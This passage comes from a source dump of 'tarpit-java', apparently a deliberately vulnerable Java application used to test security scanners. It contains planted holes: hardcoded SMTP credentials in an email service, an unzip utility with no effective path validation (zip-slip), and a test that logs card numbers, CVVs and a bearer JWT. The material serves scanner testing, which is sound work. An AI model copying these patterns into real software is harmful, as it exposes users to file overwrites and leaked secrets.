MimeBodyPart(); 57 | attachmentBodyPart.attachFile(new File("pom.xml")); 58 | 59 | Multipart multipart = new MimeMultipart(); 60 | multipart.addBodyPart(mimeBodyPart); 61 | multipart.addBodyPart(attachmentBodyPart); 62 | 63 | message.setContent(multipart); 64 | 65 | Transport.send(message); 66 | 67 | } catch (Exception e) { 68 | e.printStackTrace(); 69 | } 70 | } 71 | 72 | public static void main(String ... args) { 73 | new EmailService("smtp.mailtrap.io", 25, "87ba3d9555fae8", "91cb4379af43ed"); 74 | } 75 | 76 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/util/Unzipper.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit.util; 2 | 3 | import java.io.File; 4 | import java.io.FileNotFoundException; 5 | import java.io.IOException; 6 | import java.nio.file.FileSystem; 7 | import java.nio.file.FileSystems; 8 | import java.nio.file.Files; 9 | import net.lingala.zip4j.core.ZipFile; 10 | import net.lingala.zip4j.exception.ZipException; 11 | 12 | public class Unzipper { 13 | 14 | public static void unzipFile(String zipFileWithAbsolutePath, String destination) 15 | throws IOException { 16 | if (!doesFileExists(zipFileWithAbsolutePath)) { 17 | throw new FileNotFoundException("The given zip file not found: " + zipFileWithAbsolutePath); 18 | } 19 | 20 | isFilenameValid(zipFileWithAbsolutePath); 21 | 22 | String fileName = getFileFromPath(zipFileWithAbsolutePath); 23 | String finalDestination = getFinalDestination(fileName, destination); 24 | createDirectoryNamedAsZipFile(finalDestination); 25 | 26 | try { 27 | // Initiate ZipFile object with the path/name of the zip file. 28 | ZipFile zipFile = new ZipFile(zipFileWithAbsolutePath); 29 | 30 | // Extracts all files to the path specified 31 | zipFile.extractAll(finalDestination); 32 | 33 | } catch (ZipException e) { 34 | e.printStackTrace(); 35 | } 36 | 37 | } 38 | 39 | private static void isFilenameValid(String fileName) throws IOException { 40 | File f = new File(fileName); 41 | f.getCanonicalPath(); 42 | } 43 | 44 | private static boolean doesFileExists(String fileName) { 45 | File f = new File(fileName); 46 | return f.exists(); 47 | } 48 | 49 | private static String getFileFromPath(String path) { 50 | File fileWithPath = new File(path); 51 | return fileWithPath.getName(); 52 | } 53 | 54 | private static String getFinalDestination(String zipFile, String destination) { 55 | String targetDirectory = zipFile.replaceFirst("[.][^.]+$", ""); 56 | String finalDestination = destination + targetDirectory; 57 | return finalDestination; 58 | } 59 | 60 | private static void createDirectoryNamedAsZipFile(String finalDestination) { 61 | FileSystem fileSystem = FileSystems.getDefault(); 62 | 63 | if (Files.exists(fileSystem.getPath(finalDestination))) { 64 | try { 65 | delete(new File(finalDestination)); 66 | } catch (IOException e) { 67 | e.printStackTrace(); 68 | } 69 | } 70 | 71 | try { 72 | Files.createDirectory(fileSystem.getPath(finalDestination)); 73 | } catch (IOException e) { 74 | e.printStackTrace(); 75 | } 76 | } 77 | 78 | private static void delete(File file) throws IOException { 79 | 80 | for (File childFile : file.listFiles()) { 81 | 82 | if (childFile.isDirectory()) { 83 | delete(childFile); 84 | } else { 85 | if (!childFile.delete()) { 86 | throw new IOException(); 87 | } 88 | } 89 | } 90 | 91 | if (!file.delete()) { 92 | throw new IOException(); 93 | } 94 | } 95 | } -------------------------------------------------------------------------------- /src/main/resources/log4j2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | %d{yyyy-MM-dd HH:mm:ss.SSS} %5p ${hostName} --- [%15.15t] %-40.40c{1.} -%sensitive%n: %n%ex 8 | 9 | 10 | 11 | 12 | 13 | 17 | 18 | ${LOG_PATTERN} 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | ${LOG_PATTERN} 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | Servlet Application 8 | 9 | -------------------------------------------------------------------------------- /src/test/io/shiftleft/tarpit/annotation/LoggingTestCase.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit.annotation; 2 | 3 | import org.apache.logging.log4j.LogManager; 4 | import org.apache.logging.log4j.Logger; 5 | import org.junit.Test; 6 | 7 | import io.shiftleft.tarpit.model.Order; 8 | import io.shiftleft.tarpit.model.User; 9 | 10 | public class LoggingTestCase { 11 | 12 | private static final Logger logger = LogManager.getLogger(LoggingTestCase.class); 13 | 14 | @Test 15 | public void testLog4j2Logging() { 16 | 17 | User user = new User("bob123", "Bob", "Dylan", "USPASS17262345", 18 | "123 Las Vegas Blvd", "", "97123"); 19 | logger.info(user.toString()); 20 | 21 | logger.info("We have a VISA CreditCard:4485845206032165, and another VISA CreditCard:4583903811386327 , we also have a CVV:234"); 22 | logger.info("We have a AMERICAN EXPRESS CreditCard:344472003047574, and another AMERICAN EXPRESS CreditCard:376729481321792 , we also have a CVV:234"); 23 | logger.info("We have a MASTERCARD CreditCard:5541836310917721, and another MASTERCARD CreditCard:5309023187132310 , we also have a CVV:234"); 24 | logger.info("We have a DINERSCLUB CreditCard:30059976868794, and another DINERSCLUB CreditCard:38933702225309 , we also have a CVV:234"); 25 | logger.info("We have a DISCOVERY CreditCard:6011325170145341, and another DISCOVERY CreditCard:5546560116842725 , we also have a CVV:234"); 26 | logger.info("We have a JCB15 CreditCard:180090199028005, and another JCB15 CreditCard:210027731854401 , we also have a CVV:234"); 27 | logger.info("We have a VISA13 CreditCard:4556776615749, and another VISA13 CreditCard:4532210570626 , we also have a CVV:234"); 28 | 29 | 30 | logger.info("JWT is here Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"); 31 | logger.debug("JWT is here Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"); 32 | 33 | logger.warn("JWT is here Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"); 34 | 35 | 36 | } 37 | 38 | } -------------------------------------------------------------------------------- /src/test/resources/log4j2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | %d{yyyy-MM-dd HH:mm:ss.SSS} %5p ${hostName} --- [%15.15t] %-40.40c{1.} -%sensitive%n: %n%ex 8 | 9 | 10 | 11 | 12 | 13 | 17 | 18 | ${LOG_PATTERN} 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | ${LOG_PATTERN} 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /tarpit-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ShiftLeftSecurity/tarpit-java/77a02e48744745ba0a401f7bdb0eb6e97ceca9a1/tarpit-logo.png --------------------------------------------------------------------------------